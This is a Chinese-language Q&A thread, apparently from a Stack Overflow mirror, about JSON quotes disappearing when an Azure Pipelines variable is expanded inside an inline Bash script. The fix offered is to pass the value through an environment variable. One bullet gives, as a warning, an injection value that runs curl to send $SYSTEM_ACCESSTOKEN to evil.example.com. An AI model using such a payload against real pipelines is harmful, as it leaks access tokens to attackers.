防止 Azure DevOps 任务之间的 JSON 中的引号消失

Joc*_*ick 4 bash azure-devops azure-pipelines

我希望在存储帐户上启用静态站点托管,该存储帐户由 Azure DevOps 管道中的 Azure 资源管理器 (ARM) 模板创建,但无法解析jqARM 输出变量。

步骤 1:创建资源组的 Azure DevOps 任务的 YML

- task: AzureResourceGroupDeployment@2
  inputs:
    azureSubscription: 'AzureSubscription'
    action: 'Create Or Update Resource Group'
    resourceGroupName: 'vue-demo-app'
    location: 'West Europe'
    templateLocation: 'Linked artifact'
    csmFile: '$(Build.ArtifactStagingDirectory)/infra/infra.json'
    csmParametersFile: '$(Build.ArtifactStagingDirectory)/infra/env-arm-params-default.json'
    deploymentMode: 'Incremental'
    deploymentOutputs: 'appstoragename'
  displayName: 'Create or update resource group'
Run Code Online (Sandbox Code Playgroud)

日志显示如下:

##[debug]set appstoragename={"appstoragename":{"type":"String","value":"demoappstaticstore"}}
Run Code Online (Sandbox Code Playgroud)

因此,此时,有一个有效的JSON 值返回到 Azure DevOps。到目前为止,一切都很好。

步骤 2:尝试在存储帐户上启用静态网站托管的 Azure DevOps 任务

- task: AzureCLI@1
  inputs:
    azureSubscription: 'AzureSubscription'
    scriptLocation: 'inlineScript'
    inlineScript: |
      echo "Enabling static website hosting on the storage account"
      SA_NAME=$(appstoragename) | jq -r '.appstoragename'
      echo "Script input argument is: $(appstoragename)"
      echo "Parsed storage account name is: $SA_NAME"
      az storage blob service-properties update --account-name $SA_NAME --static-website --index-document index.html
Run Code Online (Sandbox Code Playgroud)

日志显示如下:

Enabling static website hosting on the storage account
Script input argument is: {appstoragename:{type:String,value:jvwdemoappstaticstore}}
Parsed storage account name is: 
Run Code Online (Sandbox Code Playgroud)

恕我直言,问题是我“丢失”了其中的引号$(appstoragename),而我需要它们,因为我认为jq不喜欢它们不存在的事实。

我怎样才能防止这些引用消失?

Sim*_*ing 5

长话短说

\n

使用环境变量代替:

\n
- task: AzureCLI@1\n  inputs:\n    azureSubscription: \'AzureSubscription\'\n    scriptLocation: \'inlineScript\'\n    inlineScript: |\n      echo "Enabling static website hosting on the storage account"\n      SA_NAME=$(echo "${APP_STORAGE_NAME}" | jq -r \'.appstoragename\')\n      echo "Script input argument is: ${APP_STORAGE_NAME}"\n      echo "Parsed storage account name is: $SA_NAME"\n      az storage blob service-properties update --account-name $SA_NAME --static-website --index-document index.html\n  env:\n    APP_STORAGE_NAME: $(appstoragename)\n
Run Code Online (Sandbox Code Playgroud)\n

细节

\n

问题在于您使用 JSON 字符串作为Bash 脚本源代码的一部分。

\n

使用宏语法 \xe2\x80\x93 \xe2\x80\x93 引用的 Azure Pipelines 变量会“在任务执行之前的运行时”$(foo)展开。通过用变量的值(我们知道,它是 JSON 字符串)替换输入的值,我们可以看到我们最终构建并运行了这个 Bash 脚本:appstoragename$(appstoragename)inlineScript

\n
echo "Enabling static website hosting on the storage account"\nSA_NAME={"appstoragename":{"type":"String","value":"demoappstaticstore"}} | jq -r \'.appstoragename\'\necho "Script input argument is: {"appstoragename":{"type":"String","value":"demoappstaticstore"}}"\necho "Parsed storage account name is: $SA_NAME"\naz storage blob service-properties update --account-name $SA_NAME --static-website --index-document index.html\n
Run Code Online (Sandbox Code Playgroud)\n

正如您所看到的,它与我们实际的意思并不接近,尤其是第二行。

\n

JSON 引号似乎“丢失”的原因是,在第三行中,"JSON 字符串中的第一行结束了以 in 开头的带引号的 Bash 字符串"echo "Script依此类推,一直到"JSON 字符串中的最后一个,这恰好与该行的最后一个相匹配"。因此,像往常一样,Bash 消耗所有引号并将结果字符串作为单个参数传递给echo. 尤其:

\n
    \n
  • 如果 JSON 字符串中的任何键或值包含任何空格,则多个参数将被传递给echo. 键或值中的任何多个连续空格的序列都将“丢失”,因为它们根本不会被传递echo。例子:

    \n
    echo "Script input argument is: {"app    storagename":42}"\n
    Run Code Online (Sandbox Code Playgroud)\n
  • \n
  • 如果第三行使用单引号,即echo \'Script input \xe2\x80\xa6\',则 JSON 将保留在该行的输出 \xe2\x80\x93 中,除非 JSON 中的某些键或值包含\'!

    \n
  • \n
  • appstoragename如果Azure Pipelines 变量的值为"; curl --data "$SYSTEM_ACCESSTOKEN" http://evil.example.com; echo ",则您的 Azure Pipelines 访问令牌将被发送(未加密)给 Internet 上的某人。

    \n
  • \n
\n

正如您所看到的,尝试构建这样的 Bash 脚本总会导致痛苦和痛苦,无论哪种方式。真正的解决方案是将 JSON 字符串存储在环境变量中,如上面的 TL;DR 所示。那么你不需要任何复杂的sed解决方法,也不需要担心转义任何东西 \xe2\x80\x93 你可以只写你的意思

\n